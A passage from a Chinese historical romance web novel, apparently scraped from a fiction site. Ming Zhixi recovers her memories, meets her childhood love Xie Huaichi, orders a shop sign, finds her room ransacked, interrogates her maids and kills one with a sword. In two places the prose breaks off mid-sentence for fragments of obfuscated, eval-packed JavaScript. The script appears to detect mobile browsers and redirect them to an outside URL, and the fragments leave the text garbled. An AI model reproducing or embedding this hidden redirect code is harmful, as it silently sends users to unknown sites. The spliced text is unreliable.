“这么多?!”明子晋表情扭曲,努力的摇着头,“我刚刚开玩笑的,我不去苏州了。” 两人朝着里面走去,坐在院子中的亭子里,婢女准备好棋盘,两人便开始‘斗法’。 不管下了多少次,明子晋始终下不过明枝溪,最后不耐烦的伸手打乱棋桌上的棋子。 “我不下了,怎么玩嘛!怎么都下不过你!”明子晋气鼓鼓的抱着双臂,“我们聊天吧。” 明枝溪点点头,文静的问:“聊什么?” “呃...你好无聊,我还不如回去多看几本书,话说你到底为什么被母亲送去苏州,我每次问父亲都被教育一顿。”明子晋好奇的打量起明枝溪,期待着她的回复。 明枝溪听了表情微变,略微蹙着眉:“呃..我在庄子里,偷偷溜出去玩,把人打了。” “这也没什么啊,至于把你送苏州去啊?” “我..我打了五个...有几个门牙都打断了,还有几个手折了。”明枝溪轻轻开口,每说一个字头就沉下去几分。 明子晋:“...?你怎么做到的?” “我也不知道,就是觉得浑身发抖,‘咻’的一下冲上去给他们都打了一顿。” “回过神来的时候,他们就躺在地上半死不活的。”明枝溪坐在那儿,整理起了棋子,重新整理好,自己跟自己下着。 “他们说了什么让你下死手啊?”明子晋满脸惊恐的说。 “就是说我是乡下的野丫头吧?时间太久远了我不记得了。” “不过现在当着我面说这些话,我还是会打他们,打到他们不敢告状。”明枝溪手熟稔的下着棋,嘴中平静的说出不像样的话。 明子晋往后退几步:“你不会打我吧。” 明枝溪摇摇头:“不会,你是我哥,我怎么会打你?不过这几天还是消停些吧,有人在盯着我们。” 明子晋听了向前走两步,意味深长的问:“什么意思?母亲吗?” “嗯,是母亲的人,不要做出格的事情,我想想办法能不能甩开她们。”明枝溪表情微变,随后又化作正常模样,“早些回去吧,在这里呆久了母亲会责罚你的。” 明子晋木讷点点头,变往外走边道:“我觉得你更适合去当官啊。” “是吗?我也想。”明枝溪落下一颗棋子。 —————— 明枝溪悠悠转醒,只觉得头像是被人一直不停的敲打着,她捂住自己的头,结果摸到了纱布。 周围的婢女见她醒了,纷纷大喊着:“姑娘醒了!快去告诉大娘子与和姨娘,姑娘醒了!” 一群人来回奔跑着,小玉缓缓走来,跪在床旁:“姑娘现在感觉怎么样?有没有什么不舒服的感觉?” 明枝溪扶着床坐起来:“头疼,我这是怎么了?” “二姑娘无意间吓到你了,你一头磕在石灯上,已经昏迷五天了,我们都以为你要不行了。”小玉强忍着泪水,尽量让自己把话平整的说完。 “哦...头好痛,要不你去找个医官吧,再疼下去我就真的要死了。” “还有!给搞点吃的,什么都行,怎么死都行,不能饿死。”明枝溪摁压着自己的太阳穴,闭着眼开口。 小玉刚下去,明映忽的跑进来,急急忙忙的跪在床榻边哭泣着:“姐!你终于醒了,我不知道你怕鬼,对不起姐!” 明枝溪只觉得头更疼了,紧紧蹙着眉间,嘴唇微微颤抖:“嗯,好了,你也不要在我这哭丧了,我还没死,你安静些。” “哦哦。”明映收敛哭声,点着头站起来坐在圆凳上,博英风端着粥缓步走进来,坐在床榻边,打算喂明枝溪吃饭。 “我自己来吧母亲。”明枝溪伸手接过粥,博英风倒也没反驳,只是静静看着她。 明枝溪小口的吃着粥,气氛忽然变得诡异起来,两人目不转睛盯着她进食,“呃...要不没什么事情你们回去吧?这样盯着我怪恐怖的。” 明映不敢吭声默默看着博英风,只见她微微叹口气:“那你先吃吧,就不打扰你休息了,这两天好好养伤,不要到处乱跑。” 说着她带着明映走出门,明枝溪默默吃着小米粥,嗓子火辣的疼。 吃完后随手放在边上的矮桌上,下床拿着铜镜照着,额角上方被纱布缠绕着,头发乱糟糟的,她轻轻揭下纱布。 一块结痂的血窟窿露出在面前,明枝溪露出苦笑,心里想着,倒霉啊...怎么成日受伤?要不还是去找算卦的? 心中想着,她回忆了一下脑中的记忆,微微笑着,不是苦笑,反倒是多了几分幸福的滋味,默默将纱布随手一丢,便兴高采烈地跑回床上。 刚躺下,小玉便领着医官走进来,见她已经将头上的纱布拆下,连连喊叫:“姑娘!你怎么拆下来了!” 明枝溪感觉头没那 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明子晋眼神躲闪,没有回复小玉,小玉走后,他就在院中来回踱步。 迟迟不肯进去,直到明枝溪喊了一声:“你快给我进来!” 明子晋这才缓慢的朝里面挪动,站在门口看着明枝溪,像是做错事的孩子,不敢靠近一步。 “我都想起来了,为什么不告诉我?有什么难以启齿吗?”明枝溪问。 明子晋挠挠头,小声开口:“母亲说不要刺激你,我就一直不敢说。” 明枝溪忽然想起之前在望风楼时的场景:“行吧,原谅你了,起码是为我好,你要是下次再这样我打你哦。” 明子晋缩了缩脖子:“你还想有下次?” “切,你以后不准骗我!都是一个肚子里出来的,还瞒着我。”明枝溪恨铁不成钢道。 明子晋往里走了几步,站在那儿默默的递出一封信:“呃..这是前几日谢兄给我的,让我给你来着,你现在醒了也想起来了,正好可以看。” “所以我不说我想起来了,你就不给吗?”明枝溪接过信,迫不及待的打开,信上写着: 前几日是我唐突了,许久不见你踪迹,你是不是生气了?如果生气了我给你赔罪吧,如果你还愿意见我,我五月三十在望风楼等你。 明枝溪嘻嘻笑,将信藏在枕头底下,明子晋见她笑的这么开心,不禁疑惑问:“他说什么了?你怎么笑的这么开心?给我看看。” 明枝溪压住枕头,像是护食的小猫:“不给,一边玩去,今天五月几日了?” “五月三十日。”明子晋疑惑道,“怎么了?” “没事,看时间应该是午后了吧,我一会儿要出去,你也快成亲的人了,稳重些。”明枝溪说着,下床小跑去梳妆台前,仔细的梳着头。 明子晋鄙夷的看向她:“你怎么搞的是我姐一样,该交代的都交代了,我走了,你出门自己注意点,别又受伤了。” “知道了,哎呀你快走。”明枝溪正坐在那儿为自己盘着发髻。 明子晋用力摇摇头,走出院门。 发髻很简单,是明枝溪幼时祖母教她的,三两下就完成了,本想上妆,可头上的伤口实在烦人,想想便算了,随意挑了个口脂涂着。 翻箱倒柜的挑着衣服,最后落在了一件粉白色衣裳上,麻利的穿上,换了鞋便跑了出去。 街上人来人往,明枝溪跑向望风楼,进了里头甚至不等小二打招呼,顺手丢了一两银子出去,冲向楼上去。 只见谢槐池一人孤零零的背影,不由得想挑逗他。 明枝溪假装不认识他,默默从他身旁走过,进了包房。 刚打开门,他的声音便在耳畔响起:“枝溪...我,我前些日子是酒喝多了,所以才..” “你是谁?”明枝溪憋着笑,眨着眼看向谢槐池,只见他表情多变,一会儿有些高兴,又一会儿开始悲伤。 “你不认识我了?你..头怎么了?”这时谢槐池才注意到对方的额角,有些着急的走上前,伸出手想仔细看。 明枝溪见状一把抓住谢槐池的手,带上了笑容:“哥哥,是我失约了,但是你说到做到了,想要奖励吗?我可以送你一只超大的蛐蛐。” 谢槐池眼神错愕一瞬,反过来抓住她的手,一把拉进自己怀中,将头埋进明枝溪的背上:“你想起我了吗?你终于想起我了吗?” 明枝溪安抚般的拍着谢槐池的腰:“嗯,我想起你了,所以现在可以把玉佩给我了吗?我等了四年诶。” 谢槐池松开手,慌张的掏出玉佩,举起明枝溪的手,放在她的手中,眼眶微红。 “好啦,哥哥你可不要在我面前哭哦,会丢脸的。”明枝溪想抽出手,将玉佩别在腰间,却发现怎么也扯不动自己的右手,“我在的,我不会忘记你了。” 谢槐池紧紧握着明枝溪手,生怕再次从自己眼前消失,许久后有些抽噎的说:“我很想你,无论是从前还是现在。” 15. 第15章 你要名正言顺的娶我 明枝溪任由对方握住自己的手,手愈发紧,她紧紧看着谢槐池的双眼:“我也想你哥哥,当年发生了些意外,所以我忘记了从前的事情,没有认出你,你能原谅我吗?” 谢槐池微微一愣,随后松开手:“我没有怪过你。” 明枝溪将玉佩别在腰间,左右晃荡一下:“还挺适合我的,所以为什么玉佩会出现在马球会上?” “淮王那个老王八,非要我搞点彩头,盯上我的玉佩了,便不由分说的拿去当彩头了。” “可是马球赛可没规定彩头的主人不能上场,所以我就上场赢回来了。”谢槐池终于露出微笑,源源不断地讲着。 明枝溪找了把椅子坐下,将另一把椅子挪近了些:“过来坐,我站着怪难受的。” “你的头?”谢槐池如同听话的小狗般走去,挨着明枝溪坐下,“是有人欺负你吗?给我看看。” 说着他伸出手,将明枝溪的头发轻轻撩拨起,打量着:“谁伤的?” 明枝溪脑海中蹦出明映的模样,有些尴尬的笑着看着严肃的谢槐池:“哈哈,那个,我自己撞的。” “自己撞的?你..为何?”谢槐池没有想到会是这种答案,收回手,神情呆滞,难以置信的询问,“莫非是我那天说的话刺激到你了?” 明枝溪整理着略微翘起的发丝:“我那不是想着当时是给打了一棍才失忆的嘛,所以就想着..也许再冲击一次就能恢复了,有舍便有得嘛,这不就成功了。” “疼吧,都怪我没有陪在你身边。”谢槐池露出心疼的神色。 明枝溪赶紧摆手,将头摇成拨浪鼓:“没有没有,不疼的,一点感觉都没有啊,我就晕了个五日就醒了。” “你这几年到底发生了什么?”谢槐池望着明枝溪,仿佛下一秒就要哭出来。 明枝溪挑起眉,抿着嘴,深深呼出一口浊气:“被打晕后,醒来时谁都不认识,把幼时干过的蠢事又干了一次,无非就是每天都在被训诫,后来跟着祖母去无芦村...” “遇到了青禾与绿竹,绿竹就是当时我们第一次在这见面时,冲出来的那个小姑娘,她和我一样大,青禾还小,还是小孩子呢,每天就是玩,生活好惬意。” “直到...暴乱,我没有办法去抵挡,她们的母亲将我们藏在地窖里,躲过一劫,这件事与你二哥的死..有关联,我还在调查,后来就往京城跑,祖母回了苏州,救了一些人。” “我的婢女已经很多了,府中实在是不需要这么多婢女,于是就想着要不学着我母亲,搞个暗卫之类的,既能调查真相,又能给她们月银,只是比较危险,但是她们都很勇敢,都答应了。” “我们一起查啊,查啊,一点线索都没有,直到几天前,有消息了,但是绿竹与青禾并未告诉我,两人就这样傻乎乎的去...我赶到的时候已经死了...我想从那些暴徒口中听到线索,哪怕一点都行。” 明枝溪落寞的低垂着头,沉默许久,谢槐池拍了拍明枝溪的背,带着温柔的笑容:“没事了,已经过去了,以后我们一起承担,一定会还个公道的。” 明枝溪深吸一口气,抓住对方正在拍打的手,紧紧握在手中:“可是天不遂人意,终究还是留不住,最后就打听到几个,第一,那人雇佣暴徒去烧杀打砸是为了影响战局。” 谢槐池听到这打断,蹙着眉问:“据我所知无芦村离前线还是有些距离的,不然你祖母应该也不会去那儿游玩。” 明枝溪沉重道:“无芦村与前线虽有些距离,但正好是一个突破口,东北方向本就不受朝廷重视,自然没有重兵看守,如果这时有人去告知你二哥,无芦村失守呢?” “动摇军心,不得不分出一批人去帮忙百姓吧?于是前线防守就更加薄弱,敌军这时再一鼓作气冲向这个据点,千里之堤,毁于蚁穴。” 谢槐池另只手的手指托住下巴沉思着,随后点点头:“是有这可能,不然也没有可能会在兵力充足的情况下失守,导致身故。” 明枝溪也学着他的样子,抽出一只手托着下巴:“所以我便追查着那群暴徒的踪迹,始终没有踪影,这不是普通暴徒能做到的事,一定有会个更强大的背后黑手。” “当时的暴徒里有个怕死的,说收买他们的人身上有尿骚味,什么样的人会有尿骚味呢?” “想来也就只有太监了,后来我的一名暗卫背叛了我,杀了那人后自戕了,临死前给我写下了一个‘吕’字。” “可是她认识的字很少,宫的我已经查过了,没有姓吕的太监。” 谢槐池用手指点了点面前茶杯中的水,在干燥的木头桌面上写下一个‘宫’字,示意明枝溪看去,开口道:“有没有可能..她想告诉你的是宫?但是因为不会写,便写了个类似的?” “有这可能,但是我已经知道是宫里的人了,我让她们调查了那个叛徒生前见过的人,只是暗卫那儿还迟迟没有反应,今日晚些可以去问问。” 谢槐池拿出一块帕子擦拭着手指,那块帕子上的绣工也是十分蹩脚。 明枝溪看了顿时想到当时还在心里默默的骂了自己一顿,脸色一红,准备抽出手,转头看戏台,假装自己在看戏,分担一下窘迫。 可拉扯了半天就是脱不出手,疑惑的看向谢槐池,只见他拿着帕子在明枝溪面前轻轻晃动着,嬉笑开口:“怎么?你自己绣的你还害羞?” “哈哈哈...”明枝溪尴尬的笑着,“你怎么还留着呢,改天给你换一个吧。” “好呀,你这回不要骗我了,小时候天天说给我再绣一个,每次我都等你给我,次次都不给,说自己不想绣。”谢槐池撑着头,眉眼满含着情谊。 “知道了知道了,你不要说了。”明枝溪只觉得自己的脸越来越烫了,挣脱着双手。 “那你小时候还说要嫁给我呢,要不我回去就给你下聘?”谢槐池几乎是憋着笑说的,语气有些发颤。 明枝溪好不容易才抽出手,低着头捂着脸,耳根发出深红色:“哎呀,不作数,不作数,我要添加要求,你必须要当个大官,不然不能娶我。” 谢槐池听了略微带了点撒娇的语气,往明枝溪身上靠去:“哎呀~做不到呢~要不给我降低些难度吧。” 明枝溪托住对方,傲娇的抬起头:“不行!你官职够高才能名正言顺的娶我。” 谢槐池趁着明枝溪没注意,直直的躺在她的腿上,目光盯着明枝溪的面庞。 两人就这样含情脉脉的对视着,谢槐池轻轻笑出声,用手挡住嘴,笑的身体发颤。 “你笑什么?”明枝溪双手捧住谢槐池的下巴与头,“快告诉我啊,我的脸从下面看很奇怪吗?” “没有呀,你很好看,就算是未施粉黛,也如同谪仙降世。”谢槐池依旧笑着,只不过没有那么用力,只是略微带着笑,“我在笑从前,从前都是你这样躺在我的怀里,现在轮到我了。” “那你这叫越活越回去了,这么大人了还是跟小孩一样。”明枝溪手指轻轻拂过谢槐池的鼻间,又慢慢下移到嘴唇,轻柔的扒拉一下。 谢槐池藏不住满腔的爱意,正欲开口,明枝溪却再次打断:“先不要说这些,我等你来下聘提亲,到时候再说也不迟。” “好。”谢槐池柔情看着明枝溪。 而这时门外站着的小二才忍不住发出一声轻微的咳嗽声,推门进来,谢槐池慌忙的起身看着门口,见到是小二时露出一副意犹未尽的神态,被明枝溪狠狠拍了一把。 “两位客官,这还没收拾呢。”小二陪着笑,“如果二位不介意的话,我先收拾一下?” 明枝溪沉稳开口:“不用了,我们打算走了。” “得咧。”小二拿过肩膀上垂挂着的青黑色布,明枝溪站起身拉着谢槐池的手往外走,小二一脸笑容的看着他们走远,才开始整理包房。 谢槐池站在明枝溪身旁,疑惑问:“我们现在去哪?” “我前些日子昏迷,有一件最重要的事情没有做,你陪我去。”明枝溪扯着谢槐池往门外走。 “什么事情?” 街上的人时不时转过头看向疾步行走的两人,明枝溪开口:“老金的招牌。” 谢槐池好像才想起这茬事,由被拖拽变为跟上步伐,街上的人群渐渐多起来,明枝溪放开了手:“我记得在这附近的啊。” 谢槐池看着被放开的手,紧紧握成拳,问:“什么东西?” “一家做招牌的店,我院子那块招牌便是我哥在那儿做的。”明枝溪目光找寻着店铺,眸光一闪,喊着,“找到了!” 她一脸兴奋向那处跑去,谢槐池无奈的歪着头看着明枝溪,跟了进去。 里面有一名年纪与老金相仿的老头,正忙着手里的活计,见有人来抬起头,眯着眼看:“是你啊,明姑娘,你怎么又来了?和上次一样?” 明枝溪站在一块牌匾前道:“这回不是让你改牌匾,是来拜托你做招牌。” 那名老头继续忙着手中的活计,眼睛都不抬:“什么样的?刻什么字?里头描红还是描金?” 明枝溪听的脑袋发蒙,在店中打探起来,最终停在了谢槐池身后的一块板材上,是个半成品,只差刻字了。 她指着面前这块招牌道:“就这块吧,我一会儿在上面写字,写完后就交给你雕刻,描红吧。” “这大街上都是描金的,要是再众多招牌中出现一块红的,那不就是万花丛中一点‘红’。” 老金点点头:“明姑娘请便,墨水在我后头的桌上。” 明枝溪走进去拿起墨汁与笔,站在照片前思考着:“呃...取什么名字呢...” 谢槐池笑了笑:“你还没想好就来了?” “我这不是着急吗...”明枝溪弱弱道。 忽然她灵光乍现,不吭声,缓缓蘸取墨汁,写下三个大字‘怀惜楼’,一脸得意的看着眼前,字体端正的招牌。 “怀惜?”谢槐池有些不解,“为什么是这两个字。” 明枝溪嘿嘿笑着:“就不告诉你,你有空自己品去。” 她将笔与墨放下,对着老头问:“多少银子?”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17567712|204825||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “本是十四两银子,你常来,给你十两吧。”老头停下手中的动作,仔细计算着。 明枝溪爽快的掏出八两银子,放在桌上道:“那这两日做好了,给我送到街口一家铺子门口挂起来,店家喜欢坐在门口抽旱烟的。” “记住!跟店家说就二两,他要是问为什么,就说我是熟客,经常来所以便宜。” 见那老头点头,继续忙着手里的活计,明枝溪才往外走去,两人走在街上,日色渐沉。 明枝溪看着谢槐池,两人也不吭声,就这样一路走着,时不时看看路,看着小儿嬉戏打闹,到了丞相府附近明枝溪忽的开口:“我要回去了哥哥,明日见。” 谢槐池有些失落的低着头:“不去老金那吃饭?” “这几日都先不去了,我还得养伤呢。”明枝溪扭捏的拽着衣角。 “好,那明日见,关于今日调查之事,我也会派人去查,如有情报见面再聊。”谢槐池今日戴了一条绯红的抹额,随着风飘动着,即将散落。 明枝溪伸出手够了一下,抹额飘落在她的手心中,明枝溪踮起脚:“你转过来。” 谢槐池转过身,明枝溪帮他系好:“下次注意点,不要被风吹走了。” “好。”谢槐池温声答。 明枝溪转过身向着府门口跑去,两人挥手道别。 她心情愉悦的蹦跳着走向自己院子,明子晋站在书澜院门口,见明枝溪缓缓走来,默默的往后退了一步。 直到明枝溪站在他院子门外,明子晋猛地瞧见她腰间那块玉佩,指着那块玉佩,大声开口:“你这什么?哪里来的?我的天菩萨啊!” 明枝溪顺着对方的视线看向玉佩,一脸羞红的低下头:“玉佩啊,你没见过吗?” “你这玉佩我在...” 明枝溪飞速向前,一把捂住明子晋的嘴:“哥,不要喊啊,防人之心不可无,被有心之人听到了怎么办?” 说着她才松开手,明子晋满脸通红的喘着气看向她:“那你来这干什么?” “今天心情好,想吃点辣的,我那儿小厨房都是清汤寡水的,没意思,正好路过你这就想着,正好进来对付两口。” 明枝溪蹦跳着走进屋内,腰间的玉佩左右晃动着,很是惹眼。 明子晋死死盯住那块玉佩,用力一甩袖子向里走去。 明枝溪正坐在凳子上,看着面前菜色鲜艳,气味鲜美的菜肴,双眼炯炯有神,身旁的小厮盛了碗递给明枝溪。 她埋头一顿猛吃,丝毫没有解释的打算,明子晋不耐烦的咳了一声。 明枝溪转头看向他,不解开口:“你嗓子不舒服啊?不舒服不要吃这些,一会儿去我屋里吃。” 明子晋皱着眉,拿着面前的筷子用力敲了敲碗碟:“我不是不舒服,而是你进门起一直在吃,你不打算解释一下?” “我饿啊,你也吃呗,我们各吃各的又碍不着谁,你客气什么。”明枝溪腮帮子鼓起,含糊不清说,“你要是不想吃我就都吃了。” “不要装傻充愣,给我解释一下腰间那块玉佩怎么来的,你两没有乱来吧?没有私定终身吧?”明子晋越说,情绪越崩溃,“我的王母娘娘诶!天呐!这都什么跟什么啊!” 明枝溪猛地呛住一口饭,慌忙的找着水,明子晋一把将水杯夺过,藏在身后:“你一会儿跟我说,我就给你。” 明枝溪疯狂点着头,伸手去够杯子,明子晋半信半疑的将杯子递过去,明枝溪一口将杯子中的水喝完,顺了口气道:“呼,差点呛死了。” 明子晋斜眼看着她不吭声,明枝溪小声道:“要说私定终身,也不算吧,如果这也算的话...那我十四就已经和她私定终身了。” 明子晋就静静的坐在那儿,仿佛有些‘死’了,明枝溪则是接着道:“我们也没乱来啊,但是如果硬要说的话,已经...” “好了,你别说了,我知道了。”明子晋心如死灰,“你这样不行啊,你要让他下聘才能名正言顺跟他在一起啊,哪有人这样的?” “可是我也说了啊,哎呀你别管,反正不会做出格的事情就是了,你管好你自己,还有雪晴,旁的一概不用管,安心吃你的饭吧。” 明枝溪不耐烦的看着面前的菜,口水都要流出来了。 “你..你..”明子晋被呛的说不出一句话,深深叹气,“吃饭吧,你自己注意点,不要做什么出格的事情,就算是做了,也不要再被人抓住把柄了,否则百口莫辩啊。” 明枝溪听了并未接话,继续敞开胃口吃着,明子晋也沉默着动筷。 吃饱饭后,明枝溪一溜烟站起来,往外走去:“我回去了,感谢你的招待,下次再来,你这厨子的月银也可以涨涨了,越吃越有味啊。” 明子晋作势要打明枝溪,明枝溪慌张的朝着院外跑去,冲着明子晋扮鬼脸。 见对方好似真气急了,不理他,无奈的摊摊手,走向自己的院子。 路上有些漆黑,可明枝溪没了畏惧,哼着不知名小曲,手背在身后,朝着亮光走去。 16. 第16章 凌乱的屋内 庭院中一片漆黑,明枝溪正疑惑,忽的草丛闪过黑影,明枝溪警惕的望过去。 玉兰树后的阴影中好像有什么东西在蠢蠢欲动,明枝溪缓缓走进,猛地向前一看,一只三花猫正坐在草地上,悠闲的舔着毛。 明枝溪依旧紧紧蹙着眉,看向草地,青绿色的草被压倒一片,很显然有人来过,她疑惑地再次看向小猫,它的体型十分瘦小,肚子却是圆滚滚的。 “刚吃完饭?”明枝溪问出声。 小猫好像听懂了般小声的“喵”了一声,明枝溪蹲下缓缓抚摸着它,小猫很享受的翻个肚皮,用脑袋轻轻蹭着明枝溪的手。 “姑娘?”身后传来小玉的声音,明枝溪站起,转身回望,小玉捂着嘴打个哈欠,流露出困意问道:“今个儿怎的这么晚回来。” 晚?明枝溪心中想着,挑起眉开口问道:“我刚从我哥那儿吃饭回来,他那儿的人都没睡呢,你们怎么睡了?” 明枝溪眼神看向屋内,目光一暗狂奔进去,房内一片狼藉,书架上的物品被打落在地,还掺杂着一些雪白的羽毛。 她环顾四周,那人甚至连床都没放过,明枝溪走向床边,小玉从身后跟进来,尖叫出声问:“天啊,这是谁干的?” “你们被下药了。”明枝溪翻开枕头,发现信不见了,“翻我房间只为了找青禾绿竹留给我的信?” 不可理喻,明枝溪腹诽。 “你们昏倒前什么都没看到?”明枝溪坐在床边,有些无奈的问。 小玉略微思考了一会儿:“没有,我记得当时...是小群!” “她过来跟我们说可以在后院休息会儿,我们便去了,随后坐在床上一群人聊着天,不知怎么就睡着了。” 明枝溪扶着额角略微摇了摇,生无可恋道:“她让你们干嘛,你们就干嘛?我是你们的主家,听她的干什么?” 小玉窘迫的攥着衣角,语气讨好:“嘿嘿,这不是想着姑娘总是出门玩儿,我们没事干了,就会偷偷休息会儿,没有想到会遇上这样的事情嘛...” 明枝溪彻底愣住,呆愣的看着小玉:“你..你们,我院里给的月银最多诶!都这样了你们还不好好当差!小心给你们都卖给人牙子。” 小玉扭捏的走上前,握住明枝溪的手摇晃着:“诶呀,就原谅我们这一次嘛...姑娘~你最好了。” “行了行了,其她人呢?”明枝溪被磨得没了脾气,只得长呼一口气。 小玉喜笑颜开,原地蹦哒着:“姑娘最好了!其她人估计还在睡,我去叫起来,一起打扫屋内。” 说着她准备跑出去,明枝溪却叫住她,开口道:“让她们都站在院子里,我有话要问。” 小玉有些为难,用哀求的眼神看向明枝溪,恳切道:“姑娘能不罚她们嘛,就算要罚..能不能不说是我说的。” “我不罚她们,也不说今天的事情,你们偷闲的事情,我就当不知道,只要不给大娘子发现,我由着你们,你快去叫吧” 明枝溪顺手整理着床铺,到也不算是被翻得太乱,三两下便收拾好。 不一会儿,一众婢女们都老实站在院中,排成一排,明枝溪缓缓走出,审视着她们。 雪竹院内婢女不算多,与明映屋内比都少了五成。 除去小玉总计十二人,明枝溪语气略微带点脾气,随手指着面前三名婢女道:“都跟我来房内,其余人在外面等着。” 被指的三名婢女中有一个年纪稍小,平时也没怎么服侍过明枝溪,顿时双腿有些瘫软,被另外两名性格沉稳的婢女稳稳架住,抬着走进屋内。 小玉搬了一张椅子放在正中央,明枝溪不知从哪儿拿来了珠串,在手中盘着,她坐上去,顺脚的翘起二郎腿,指着两位稳重的婢女道:“把人放下,去门口等着,叫你们时再进来。” 两名婢女点点头,双手一松,那名被驾着的婢女跌落在地,她们往后退去,关上了门。 “我要是没记错的话你叫绘椿?”明枝溪见眼前人哭哭啼啼的有些头疼,“你今晚都在干什么?” 绘椿收敛了哭声,声音小之又小:“回姑娘,奴婢今日都在洒扫院内堆积的落叶。” “没有干其他事?”明枝溪漫不经心盘着手中的的珠串,珠子的撞击声逐渐急促。 “没..没有。”绘椿躲闪着眼神,心虚道,“奴婢今日真的只在打扫庭院。” “那你们为何都跑去后院睡了?”明枝溪实在有些忍不住,太想知道这些婢女平日里都在干什么了,“你不用说我也知道,我不怪你们,可是我也不希望你们瞒着我。” 绘椿跪坐在地上,有些瘫软,迟迟不敢开口,明枝溪再次叹息:“你下去吧,彩诺进来。” 门刚被打开,绘椿就跌跌撞撞的站起来跑下去,一个不留神就由台阶上滚落下,抱着与自己要好的婢女开始哭泣。 众人皆面如死灰,不敢吭声,更有甚者已经开始偷偷抽噎,显然是被眼前这一幕吓到了。 彩诺走进屋内,没有一刻犹豫,跪在地上,小玉默默将门关严实些。 “你今日都做什么了?”明枝溪沉声开口。 “回姑娘,奴婢今日是负责屋内的清扫,午间时小群与奴婢以及众人说,可以去后院稍作歇息。” “平日里我们也会前去闲聊,都是在没有活的情况下,我们才会去的。” “可今日不知怎的,奴婢一进入屋内便觉着胸口有些沉闷,不待一会儿便昏昏欲睡,从始至终没有见到小群的身影。”彩诺跪在那,谦卑的低着头。 明枝溪点点头,终于是带上了些笑容:“你这个性我倒是也喜欢,不错,先退下吧,润歌进来。” 门再次被打开,月光照在地板上,润歌快速的走进跪在地上,彩诺低着头站起,向后退去,轻轻带上了门。 “说说吧,你今日都做了什么?” —————— 估摸着一个时辰左右,明枝溪终于是审完了,这些人哭哭啼啼的,问半天也说不出一两句话。 只剩下最后一人,那就是小群,她正站在外边心急如焚,两只手不断的摩擦着,手心渗出汗珠,背已经完全湿透。 当明枝溪叫到她时,小群环顾了一下四周,好像抱着必死决心般走进去,不待明枝溪发话,她便重重的跪下磕了个响头。 明枝溪倚靠在手把上,体型的纤柔让她看上去摇摇欲坠,衣袖耷拉在半空,被晚风吹拂着。眉心的红痣在黑夜中仿佛在发着红光。 “你说说你都干了什么,我先说好,前面的人都已经招供了,劝你老实些,不然不用卖给人牙子了,直接杖毙吧。”明枝溪端正了坐姿,珠串被她随手丢在地上踩得粉碎。 小群支支吾吾说不出所以然,明枝溪坐久了,有些发麻,便站起来活动着筋骨,小群被这突如其来的动作吓得往后退了几步。 “你没做什么事情这么怕干什么?”明枝溪走上前,仔细抚摸着小群白皙的脸颊,“嗯,真好看,可惜了。” 小群被这句话吓的跪在地上猛猛磕头,没有丝毫停下来的意思。 “都这样了你还不交代?”明枝溪的手悬在半空,见她还在猛磕,一把抓住她的脸颊,死死钳住,逼迫小群看着自己。 “姑娘,姑娘!我家中尚有生病的老母,还不能死啊,姑娘饶我一命吧,我说,我都说。”小群满脸泪水,带着哭腔。 外头的人都听见这声,纷纷报团取暖,小群的泪水沾在明枝溪的手掌上,有些黏糊,明枝溪松开了手,拿出帕子擦拭着。 又将帕子丢给面前泪痕交错的小群,脸上挂着僵硬的微笑:“那你倒是交代啊!等着我替你说吗?” “当时我为了给老母买药材,就到处找活儿,想赚点外快,可是没有人肯受用我,直到有一个男人,当时夜深了,我在外头哭着呢。” “他突然出现,然后跟我说,今日把院里的婢女都迷晕,她们要进来找个东西,说是姑娘您偷拿的,我当时也是一时糊涂,便同意了。” “是我对不住姑娘,姑娘饶我一命吧,我也是为了生病的老母啊。” 她说完,边哭边磕头,明枝溪见她磕了半天,额头竟然还没流血,便更加恼怒:“你还不老实交代清楚吗?别磕头了,你也不想磕吧,看你这样倒也不是诚心的。” “磕了这么久,一下比一下小声,一下比一下轻,额头都没红一下,你是当我好糊弄?我说过了已经有人交代过了,你老实回答。” “是绘椿!当时是绘椿与我在一块!是她要接了这活的!都是她!”小群喊叫着,眼泪鼻涕流了一地,声音格外大。 门外的婢女本聚在一块讨论,听到这顿时看向正被人包围着的绘椿,她自然也是听到了。 不知从哪来的用力,推开众人,猛地跑进来,狠狠扇了小群一巴掌。 小群被这突如其来的变故吓得目光呆滞看向前方,她伸出手抚摸着被打红的脸。 脸颊上传来剧痛,她恶狠狠的看向小群,仿佛要将她生吞活剥。 她冲向前死死拽住绘椿的头发,两人扭打在一起。 明枝溪站在一旁,使劲鼓掌道:“好戏,好戏,你们真是给我演了一出好戏。” 说着她走向一处墙壁,轻轻敲了两下,一个暗格门缓缓打开,明枝溪从里面拿出一把剑,吹了吹灰,剑尖指向地上相互扯头花的两人。 明枝溪冷声,不自觉带了些威压:“你们交代完了?我让你们动了?” 两人好似感受到了冰冷的剑气,先后停下来,看向明枝溪的眼神终于清澈了些。 绘椿用力咽着口水:“我..我们,就是小群说的那样,只是当时我们都同意了。” 明枝溪缓缓走近:“他身上臭吗?” 小群摇摇脑袋,往后挪了几寸:“就是普通的老人,但是他的嗓音十分尖锐,好像是夹着嗓子说话的。” “哦?那银子给你们了吗?”明枝溪已经将剑架在吓傻的绘椿脖颈处。 “给..给了。”绘椿吞咽着口水,幅度也不敢太大,怕一不小心就抹了脖子。 明枝溪点点头,俯视的盯着她:“可惜了,你没用了,而我不需要不忠诚的狗。” 鲜血喷溅,明 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17567713|204825||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 枝溪早有预防的后退一步,裙角上还是沾染了一些,她不耐烦的蹙起眉毛,挑起一只眉看向已经被吓的魂不守体的小群。 